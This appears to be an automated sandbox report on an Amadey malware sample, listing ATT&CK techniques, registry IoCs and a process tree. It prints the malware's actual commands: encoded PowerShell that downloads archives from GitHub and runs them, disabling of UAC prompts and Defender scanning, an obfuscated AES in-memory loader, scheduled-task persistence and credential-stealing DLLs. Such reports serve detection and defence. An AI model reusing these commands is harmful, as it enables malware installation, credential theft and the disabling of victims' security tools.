amadey | 56107979d024223bd4ba443cf654ebfc32e19a3eaffd7a055fadb6ac1ce97866

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	install.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	2308	powershell.exe
15	2308	powershell.exe

Downloads MZ/PE file

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

pid	Process
2752	attrib.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	csrsv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	oneetx.exe

Executes dropped EXE 6 IoCs

pid	Process
1200	SKMBT18276392733.bat.exe
1844	install.exe
2696	csrsv.exe
3344	oneetx.exe
2376	oneetx.exe
1552	oneetx.exe

Loads dropped DLL 3 IoCs

pid	Process
3488	rundll32.exe
1412	rundll32.exe
652	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinRAR32 = "C:\\Users\\Admin\\AppData\\Roaming\\csrsv32\\csrsv.exe"	SKMBT18276392733.bat.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4860	652	WerFault.exe	122

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2272	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe
2308	powershell.exe
2308	powershell.exe
1200	SKMBT18276392733.bat.exe
1200	SKMBT18276392733.bat.exe
1844	install.exe
1844	install.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	1200	SKMBT18276392733.bat.exe
Token: SeDebugPrivilege	1844	install.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2696	csrsv.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 4120	4896	cmd.exe	87
PID 4896 wrote to memory of 4120	4896	cmd.exe	87
PID 4120 wrote to memory of 1912	4120	powershell.exe	88
PID 4120 wrote to memory of 1912	4120	powershell.exe	88
PID 1912 wrote to memory of 2308	1912	cmd.exe	90
PID 1912 wrote to memory of 2308	1912	cmd.exe	90
PID 1912 wrote to memory of 5112	1912	cmd.exe	91
PID 1912 wrote to memory of 5112	1912	cmd.exe	91
PID 1912 wrote to memory of 3400	1912	cmd.exe	92
PID 1912 wrote to memory of 3400	1912	cmd.exe	92
PID 1912 wrote to memory of 2752	1912	cmd.exe	93
PID 1912 wrote to memory of 2752	1912	cmd.exe	93
PID 1912 wrote to memory of 1200	1912	cmd.exe	94
PID 1912 wrote to memory of 1200	1912	cmd.exe	94
PID 1200 wrote to memory of 2212	1200	SKMBT18276392733.bat.exe	95
PID 1200 wrote to memory of 2212	1200	SKMBT18276392733.bat.exe	95
PID 2212 wrote to memory of 4788	2212	csc.exe	96
PID 2212 wrote to memory of 4788	2212	csc.exe	96
PID 1200 wrote to memory of 1844	1200	SKMBT18276392733.bat.exe	97
PID 1200 wrote to memory of 1844	1200	SKMBT18276392733.bat.exe	97
PID 1912 wrote to memory of 4456	1912	cmd.exe	99
PID 1912 wrote to memory of 4456	1912	cmd.exe	99
PID 1844 wrote to memory of 2696	1844	install.exe	100
PID 1844 wrote to memory of 2696	1844	install.exe	100
PID 1844 wrote to memory of 2696	1844	install.exe	100
PID 2696 wrote to memory of 3344	2696	csrsv.exe	104
PID 2696 wrote to memory of 3344	2696	csrsv.exe	104
PID 2696 wrote to memory of 3344	2696	csrsv.exe	104
PID 3344 wrote to memory of 2272	3344	oneetx.exe	105
PID 3344 wrote to memory of 2272	3344	oneetx.exe	105
PID 3344 wrote to memory of 2272	3344	oneetx.exe	105
PID 3344 wrote to memory of 4380	3344	oneetx.exe	107
PID 3344 wrote to memory of 4380	3344	oneetx.exe	107
PID 3344 wrote to memory of 4380	3344	oneetx.exe	107
PID 4380 wrote to memory of 4308	4380	cmd.exe	109
PID 4380 wrote to memory of 4308	4380	cmd.exe	109
PID 4380 wrote to memory of 4308	4380	cmd.exe	109
PID 4380 wrote to memory of 2384	4380	cmd.exe	110
PID 4380 wrote to memory of 2384	4380	cmd.exe	110
PID 4380 wrote to memory of 2384	4380	cmd.exe	110
PID 4380 wrote to memory of 4652	4380	cmd.exe	111
PID 4380 wrote to memory of 4652	4380	cmd.exe	111
PID 4380 wrote to memory of 4652	4380	cmd.exe	111
PID 4380 wrote to memory of 1436	4380	cmd.exe	112
PID 4380 wrote to memory of 1436	4380	cmd.exe	112
PID 4380 wrote to memory of 1436	4380	cmd.exe	112
PID 4380 wrote to memory of 2988	4380	cmd.exe	113
PID 4380 wrote to memory of 2988	4380	cmd.exe	113
PID 4380 wrote to memory of 2988	4380	cmd.exe	113
PID 4380 wrote to memory of 560	4380	cmd.exe	114
PID 4380 wrote to memory of 560	4380	cmd.exe	114
PID 4380 wrote to memory of 560	4380	cmd.exe	114
PID 3344 wrote to memory of 1412	3344	oneetx.exe	120
PID 3344 wrote to memory of 1412	3344	oneetx.exe	120
PID 3344 wrote to memory of 1412	3344	oneetx.exe	120
PID 3344 wrote to memory of 3488	3344	oneetx.exe	121
PID 3344 wrote to memory of 3488	3344	oneetx.exe	121
PID 3344 wrote to memory of 3488	3344	oneetx.exe	121
PID 1412 wrote to memory of 652	1412	rundll32.exe	122
PID 1412 wrote to memory of 652	1412	rundll32.exe	122

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	install.exe

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

pid	Process
2752	attrib.exe
4456	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SKMBT18276392733.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\SKMBT18276392733.bat' -ArgumentList 'am_admin'"
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\SKMBT18276392733.bat" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nologo -noprofile -WindowStyle hidden -exec bypass -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAE4ARQBUAEYAcgBhAG0AZQBXAG8AcgBrAHYANAAvAHYANAAuADgALwByAGEAdwAvAG0AYQBpAG4ALwBOAEUAVABGAHIAYQBtAGUAdwBvAHIAawA0ADgALgB6AGkAcAAiACAALQBPAHUAdABGAGkAbABlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE4ARQBUAEYAcgBhAG0AZQB3AG8AcgBrADQAOAAuAHoAaQBwACIAIAA7ACAARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE4ARQBUAEYAcgBhAG0AZQB3AG8AcgBrADQAOAAuAHoAaQBwACIAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAiAAoA
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F"
      4⤵
      PID:5112
  - - C:\Windows\system32\xcopy.exe
      xcopy "C:\Users\Admin\AppData\Roaming\NETFramework48\install.exe" SKMBT18276392733.bat.exe /y
      4⤵
      PID:3400
  - - C:\Windows\system32\attrib.exe
      attrib +s +h SKMBT18276392733.bat.exe
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:2752
  - - C:\Users\Admin\AppData\Local\Temp\SKMBT18276392733.bat.exe
      SKMBT18276392733.bat.exe -noprofile -windowstyle hidden -executionpolicy bypass -command $fYKlAa = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\SKMBT18276392733.bat').Split([Environment]::NewLine);$zAMRif = $fYKlAa[$fYKlAa.Length - 1];$fHGQOa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('dXNpbmcgU3lzdGVtLlRleHQ7dXNpbmcgU3lzdGVtLklPO3VzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjt1c2luZyBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5OyBwdWJsaWMgY2xhc3MgbmdsZFdvIHsgcHVibGljIHN0YXRpYyBieXRlW10gR1JTUFZaKGJ5dGVbXSBpbnB1dCwgYnl0ZVtdIGtleSwgYnl0ZVtdIGl2KSB7IEFlc01hbmFnZWQgYWVzID0gbmV3IEFlc01hbmFnZWQoKTsgYWVzLk1vZGUgPSBDaXBoZXJNb2RlLkNCQzsgYWVzLlBhZGRpbmcgPSBQYWRkaW5nTW9kZS5QS0NTNzsgSUNyeXB0b1RyYW5zZm9ybSBkZWNyeXB0b3IgPSBhZXMuQ3JlYXRlRGVjcnlwdG9yKGtleSwgaXYpOyBieXRlW10gZGVjcnlwdGVkID0gZGVjcnlwdG9yLlRyYW5zZm9ybUZpbmFsQmxvY2soaW5wdXQsIDAsIGlucHV0Lkxlbmd0aCk7IGRlY3J5cHRvci5EaXNwb3NlKCk7IGFlcy5EaXNwb3NlKCk7IHJldHVybiBkZWNyeXB0ZWQ7IH0gcHVibGljIHN0YXRpYyBieXRlW10gQkVsc25kKGJ5dGVbXSBieXRlcykgeyBNZW1vcnlTdHJlYW0gbXNpID0gbmV3IE1lbW9yeVN0cmVhbShieXRlcyk7IE1lbW9yeVN0cmVhbSBtc28gPSBuZXcgTWVtb3J5U3RyZWFtKCk7IHZhciBncyA9IG5ldyBHWmlwU3RyZWFtKG1zaSwgQ29tcHJlc3Npb25Nb2RlLkRlY29tcHJlc3MpOyBncy5Db3B5VG8obXNvKTsgZ3MuRGlzcG9zZSgpOyBtc2kuRGlzcG9zZSgpOyBtc28uRGlzcG9zZSgpOyByZXR1cm4gbXNvLlRvQXJyYXkoKTsgfSB9'));Add-Type -TypeDefinition $fHGQOa;[System.Reflection.Assembly]::Load([ngldWo]::BElsnd([ngldWo]::GRSPVZ([System.Convert]::FromBase64String($zAMRif), [System.Convert]::FromBase64String('kptjpDtZ2mynxw/vEx8Zgdd06zp+Ilq9lbxPnRLrRJs='), [System.Convert]::FromBase64String('wiqGzf0zTff4tyYiSAHyvw==')))).EntryPoint.Invoke($null, (, [string[]] ('am_admin')))
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1200
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l2lnmy52\l2lnmy52.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2212
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES864C.tmp" "c:\Users\Admin\AppData\Local\Temp\l2lnmy52\CSCFF6E6DAA1D124F2B8D6E2BB1FF682FF.TMP"
        6⤵
        
        PID:4788
    - - C:\Users\Admin\AppData\Roaming\NETFramework48\install.exe
        
        "C:\Users\Admin\AppData\Roaming\NETFramework48\install.exe" Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0; Add-MpPreference -ExclusionPath C:\ -ExclusionExtension 'exe','zip' ; @('https://github.com/Fuero233/petL/raw/main/csrsv32.zip') | foreach{$fileName = $env:APPDATA + '/csrsv32.zip' ;(New-Object System.Net.WebClient).DownloadFile($_,$fileName);Expand-Archive -LiteralPath $fileName -DestinationPath $env:APPDATA;Invoke-Item $env:APPDATA\csrsv32\csrsv.exe }
        5⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:1844
      - C:\Users\Admin\AppData\Roaming\csrsv32\csrsv.exe
        
        "C:\Users\Admin\AppData\Roaming\csrsv32\csrsv.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:2696
        
        C:\Users\Admin\AppData\Local\Temp\6fd2e6071d\oneetx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6fd2e6071d\oneetx.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3344
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\6fd2e6071d\oneetx.exe" /F
        8⤵
        Creates scheduled task(s)
        
        PID:2272
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\6fd2e6071d" /P "Admin:N"&&CACLS "..\6fd2e6071d" /P "Admin:R" /E&&Exit
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4380
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        9⤵
        
        PID:4308
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:N"
        9⤵
        
        PID:2384
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:R" /E
        9⤵
        
        PID:4652
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        9⤵
        
        PID:1436
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\6fd2e6071d" /P "Admin:N"
        9⤵
        
        PID:2988
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\6fd2e6071d" /P "Admin:R" /E
        9⤵
        
        PID:560
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\27d75989acd3e0\cred64.dll, Main
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1412
        
        C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\27d75989acd3e0\cred64.dll, Main
        9⤵
        Loads dropped DLL
        
        PID:652
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 652 -s 648
        10⤵
        Program crash
        
        PID:4860
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\27d75989acd3e0\clip64.dll, Main
        8⤵
        Loads dropped DLL
        
        PID:3488
  - - C:\Windows\system32\attrib.exe
      attrib -s -h SKMBT18276392733.bat.exe
      4⤵
      Views/modifies file attributes
      PID:4456

C:\Users\Admin\AppData\Local\Temp\6fd2e6071d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\6fd2e6071d\oneetx.exe
1⤵
- Executes dropped EXE
PID:2376

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 652 -ip 652
1⤵
PID:3824

C:\Users\Admin\AppData\Local\Temp\6fd2e6071d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\6fd2e6071d\oneetx.exe
1⤵
- Executes dropped EXE
PID:1552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Hidden Files and Directories

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Hidden Files and Directories

Modify Registry